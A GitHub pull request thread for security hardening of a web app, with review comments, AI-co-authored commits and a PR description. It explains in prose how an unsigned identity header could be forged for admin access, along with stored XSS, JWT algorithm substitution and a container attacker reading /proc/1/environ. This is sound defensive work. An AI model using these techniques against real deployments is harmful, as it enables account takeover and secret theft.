[Critical | Security] JWKS mode checks neither audience nor issuer by default. issuer is enforced only when AUTH_EXPECTED_ISS is set, and audience is never checked. With a shared IdP JWKS, a token issued for any other client in the tenant is accepted, including its groups. The Okta path pins both, so the two paths are inconsistent. Suggest: required AUTH_EXPECTED_ISS + AUTH_EXPECTED_AUD, fail closed if missing.
| // Auth is enabled but no way to verify a token's signature is configured. | ||
| // extractUser() denies every request in that state rather than trusting the | ||
| // header, so this is a hard error: the app is up but nobody can sign in. | ||
| if (process.env.AUTH_ENABLED === 'true' |
There was a problem hiding this comment.
[Important] Startup validation misses the new default-on auth and the verifier settings. (a) The missing-verifier hard error fires only when AUTH_ENABLED === 'true', but auth is now also on when it is unset in production, which is the upgrade path for existing deployments. Those boot without an error and then return 401 for every request. The same old check is used at line ~147 for the AUTH_ADMIN_GROUP warning. Use isAuthEnabled() in both places. (b) Also fail at startup when iss/aud/ALB ARN are missing (see auth.ts comments).
| # attempt any escape needing privileged operations. | ||
| USER node | ||
|
|
||
| HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=3 \ |
There was a problem hiding this comment.
[Critical | Correctness] Healthcheck probes 127.0.0.1, but the standalone server binds to $HOSTNAME, which Docker sets to the container ID (the container's IP, not loopback). The probe fails, so containers are marked unhealthy, which can trigger restart loops under ECS or compose service_healthy. Suggest ENV HOSTNAME=0.0.0.0 and PORT=3000 in the runner stage.
| # advisories open before the Next 16 upgrade) started as uid 0 — free to | ||
| # backdoor server.js for persistence, apk add tooling, read /proc/1/environ, and | ||
| # attempt any escape needing privileged operations. | ||
| USER node |
There was a problem hiding this comment.
[Critical | Correctness] USER node, but /app is still owned by root. Only the copied files are chowned. The default SQLite path is cwd/glooker.db, so the default DB_TYPE fails with EACCES on first DB access. Existing root-owned volumes and LOG_DIR mounts are affected too. Suggest chown node:node /app (or a data dir) before USER node, plus a release note about the volume-ownership migration.
| // of /rest/api/<v>/ and address an arbitrary Jira endpoint with these | ||
| // credentials. Worth keeping even though every caller now validates. | ||
| const url = new URL(`${this.baseUrl}${path}`); | ||
| if (!url.pathname.startsWith(`/rest/api/${this.apiVersion}/`)) { |
There was a problem hiding this comment.
[Important | Correctness] The base-path guard hard-codes the /rest/api/<v>/ prefix. baseUrl keeps any context path in JIRA_HOST (e.g. host/jira), so every jiraFetch fails on self-hosted Server/DC installs with a context path. Suggest comparing against new URL(this.baseUrl).pathname + '/'.
| # AUTH_TEST_USER bypass needs this explicit second opt-in — see | ||
| # auth.ts and .env.example. Never set in a real deployment. | ||
| AUTH_TEST_ALLOW_IN_PRODUCTION: ${AUTH_TEST_ALLOW_IN_PRODUCTION:-} | ||
| # Exactly one of these is required whenever AUTH_ENABLED=true — they are |
There was a problem hiding this comment.
[Ask] Plain docker compose up now returns 401 for everything. AUTH_ENABLED is empty and NODE_ENV=production, so auth is on with no verifier. DB credentials are now required as well. Please confirm this is intended, and document the minimal local env in the README and .env.example.
…ire JWKS audience, harden key fetch Critical: the AWS key host serves signing keys for EVERY ALB in the region, so a valid ES256 signature only proved "some ALB signed this" — anyone with their own ALB + IdP in us-east-1 could mint an admin token. The ALB path now requires AUTH_ALB_ARN and rejects any token whose `signer` header differs, before any key fetch; AUTH_EXPECTED_ISS is mandatory there too. - JWKS path: AUTH_EXPECTED_ISS and AUTH_EXPECTED_AUD are both required, so a token the IdP issued for another app can't authenticate. - ALB key lookups (driven by an unverified kid): bounded cache, misses cached 60s, one shared in-flight fetch per kid — no unbounded outbound amplification. - Verified tokens are memoized (bounded, never past exp, at most 5 min), so the gate and every handler no longer re-verify, or re-call /userinfo. Deliberately not an internal trusted header, which would reintroduce header trust if the proxy matcher ever missed a path. - Okta MCP path: AUTH_OKTA_CLIENT_ID is required (the org audience is shared by every app in the tenant), and /userinfo's sub must equal the token's uid (Okta org server) or sub. - Production with AUTH_ENABLED=false now also needs AUTH_ALLOW_ANONYMOUS=true; otherwise the gate 503s everything but /api/health. - /api/chat: a malformed JSON body is a 400, not an unhandled 500. - validateEnv errors on every missing pin; docs, .env.example and compose updated. Tests: foreign signer (no key fetch), missing signer, missing ARN/issuer, cached key misses, shared in-flight fetch, bounded cache, memo hit and expiry; JWKS wrong audience/issuer and missing pins; production anonymous gate; a matcher test walking every route/page file; Okta cid required and /userinfo sub mismatch; chat malformed body. The foreign-signer test fails without the fix. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
|
Review addressed in
Dev config this now requires (on top of the earlier list): |
…ink, issue links) The public /api/llm-config payload (everyone except admins) dropped `jira` entirely, so for every viewer the Projects nav link disappeared and developer pages lost their Jira issue links. Viewers now get jira.enabled, jira.host (already visible in every issue link) and a new boolean jira.projectsEnabled — never the JQL, the service-account username or which credentials are missing. NavBar reads projectsEnabled, which both payloads carry. Tests pin the fields, the absence of each secret, and the NavBar showing/hiding Projects from a viewer's config. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
|
Fixed the last open item in |
Security hardening rollup — supersedes #78, #79, #80
Fixes the security findings from the Aikido feed (114 issues) and the manual
review in
security-review/. Nine commits, each independently reviewable andrevertable. Replaces PRs #78, #79 and #80 — see "Why those are superseded"
below; #78 in particular should not be merged.
Results
npm audit --omit=devnpm audit(incl. dev)esbuild, Windows-only dev server)tsc --noEmitnext buildCommits
security(deps)next15.1.3 → 16.3.8,mysql2→ 3.24.5,sharp→ 0.35.5,uuid→ 11.1.1,csv-parseremovedsecurity(ci)security(auth)security(authz)proxy.tsgate +ALLOWED_ORGSallowlistsecurity(injection)security(disclosure)/api/llm-configsecrets,/api/debug/headersdeleted, generic errorssecurity(runtime)security(logs)logSafe()log-injection guard, prompt-loader containmentsecurity(auth)#2The three that matter most
1. The identity header was never verified.
extractUser()splitx-amzn-oidc-dataon., base64-decoded segment one, and trustedemailandgroupsverbatim — no signature, no expiry, no issuer. That header is anordinary HTTP header once it leaves the load balancer, so anything able to reach
the app port was whichever identity, in whichever groups, it claimed:
That forged header satisfied
requireAdmin()and unlocked report deletion,schedule CRUD, Jira issue transitions and due-date writes, vulnerability syncs,
and — because
buildCostVisibility()short-circuits for admins — everydeveloper's Claude spend. AWS documents signature verification as mandatory for
this header for exactly this reason.
Now verified with
jose: algorithm pinned from our side (soalg: noneand HMACsubstitution are rejected rather than read out of the token),
exp/nbfenforced,
issenforced when configured, and two key modes —AUTH_ALB_REGION(ALB serves one PEM perkid; it publishes no JWKS document)or
AUTH_JWKS_URL. Enabled-but-unconfigured denies every request rather thanfalling back to trusting the header.
2. Authorization was opt-in per handler. 24 of 62 exported handlers
referenced no auth function at all. Reachable with nothing but network access:
/api/vulnerabilities/alerts(the org's unpatched critical CVEs with SLA duedates — a prioritised target list), every
/api/report/*read,/api/settings/user-mappings(the GitHub↔Jira identity table),POST /api/chat(an LLM agent over seven DB tools), and
/api/developers?source=githubplusPOST /api/settings/github/test-connection, which both proxy the server'sGitHub PAT at a caller-chosen org.
Two of the vulnerability route files even carried the comment "Readable by every
signed-in user … Do not add requireAdmin" — documenting a signed-in check that
nothing in the request path performed.
src/proxy.tsnow requires a verified identity for everything except/api/health.requireAdminstays in the handlers: the gate establishesauthentication, handlers enforce authorization. The matcher is deliberately broad
so a new route is covered by default rather than needing to be remembered.
3. Stored XSS in four places. The dev summary, team pulse and two chat-panel
sites pushed LLM narrative into
dangerouslySetInnerHTMLafter a few markdownregexes, escaping nothing. That text derives from commit messages, PR titles,
branch names and Jira summaries — writable by anyone who can push to a scanned
repo — and the dev summary is persisted to
developer_summaries, so oneinjection was replayed to every later viewer including admins, with no CSP to
contain it and no CSRF token to stop the resulting script driving admin routes.
All four now use one
SafeMarkdowncomponent that returns React elements, sotext nodes are escaped by React.
Why #78, #79 and #80 are superseded
#78 — do not merge. Three independent problems:
integrity: sha512-PiZLhL…fornext@15.2.0, whichmatches neither 15.2.0 (
sha512-VaiM7s…) nor 15.1.3 (sha512-5igmb8…). Thehash was not produced by an install, so
npm ciaborts withEINTEGRITYand the Docker build cannot run. Its own CI confirms this.
15.2 line only at 15.2.6; the affected range is
>=15.2.0-canary.0 <15.2.6, so 15.2.0 is inside it.ranges begin at 15.2.0 (App Router proxy bypass via segment-prefetch), which
15.1.3 was not subject to. 15.x also reaches end of security support on
2026-10-21 regardless.
This PR goes to 16.3.8 (Active LTS, supported to at least Oct 2027) via a real
npm install, so every integrity hash is the one the registry serves. Migrationsurface was verified nil before upgrading: no
next/image, nonext/headers,all dynamic route
paramsalreadyPromise-typed, no parallel routes, no customwebpack config, no
next lint, nonext/cache.#79 — right idea, two wrong pins.
actions/checkout@11bd719…is taggedv4.2.2 but commented
# v5.2.2;actions/setup-node@39370e39…is taggedv4.1.0 but commented
# v5.1.1. Neither claimed tag exists. It silentlydowngraded both actions across a major version while labelling them v5 — and a
false version comment defeats the one maintainability benefit pinning has. All
five pins here were resolved from the upstream tag refs and verified against
their comments.
#80 — correct but incomplete.
test.ymlstill had nopermissions:block atall (that's the workflow which runs on
pull_request, i.e. the fork-PR path);build-and-push's checkout still persisted credentials; and the${{ github.ref }}script injection was untouched.Scope notes — what this deliberately does not do
Per-user tenancy.
ALLOWED_ORGScloses the credentialed-GitHub-proxy problemoutright and bounds cross-tenant reads to orgs an operator deliberately hosts
together. Deciding which orgs a particular user may see needs a membership
model (an OIDC group claim or an explicit table) and is a product decision, not
something to invent in a security fix. Report lookups are still keyed on a global
report id.
Rate limiting. Several endpoints still do expensive LLM work on demand and
accept a caller-supplied
refresh=true. Fixing properly needs a token-bucketstore and a budget policy.
New / changed configuration
AUTH_ALB_REGIONorAUTH_JWKS_URLAUTH_ENABLED=true— how the token signature is verified. Without one, all requests are denied.AUTH_EXPECTED_ISSissclaim.AUTH_JWKS_ALGSRS256,ES256.AUTH_ALLOW_ANONYMOUS_ADMINAUTH_ENABLED=falsein production.ALLOWED_ORGSvalidateEnvwarns.AUTH_TEST_ALLOW_IN_PRODUCTIONdocker-compose.ymlpassed it through.DB_USER,DB_PASSWORD,MYSQL_ROOT_PASSWORDdocker-compose.yml(were hardcoded literals).AUTH_ENABLEDunset now means enabled in production. The old=== 'true'test let a dropped env var silently turn every authorization check into "allow".
Verification still needed
Could not be exercised from my environment:
better-sqlite3has no prebuilt binding for the localNode 26 ABI, so 13 of 202 suites fail locally on that alone — identical to the
pre-change baseline, and expected to pass on CI's Node 22.
docker run --rm <image> idreturninguid=1000. No container runtimeavailable locally.
script-src 'self'with nounsafe-inlineis the directive that blocks an injected handler;
unsafe-inlineremains instyle-srcbecause Recharts andchart.tsx's CSS-variable block need it, andimg-srcallowsavatars.githubusercontent.com. Consider deploying asContent-Security-Policy-Report-Onlyfirst.Note on the test suite
Five suites asserted the vulnerable behaviour as expected.
auth.test.tsbuilttokens signed with the literal string
"fakesignature"and assertedextractUseraccepted them; four others asserted thatJira API error (403)and
xxxxx12345reach the client. All are rewritten as regression guards ratherthan deleted.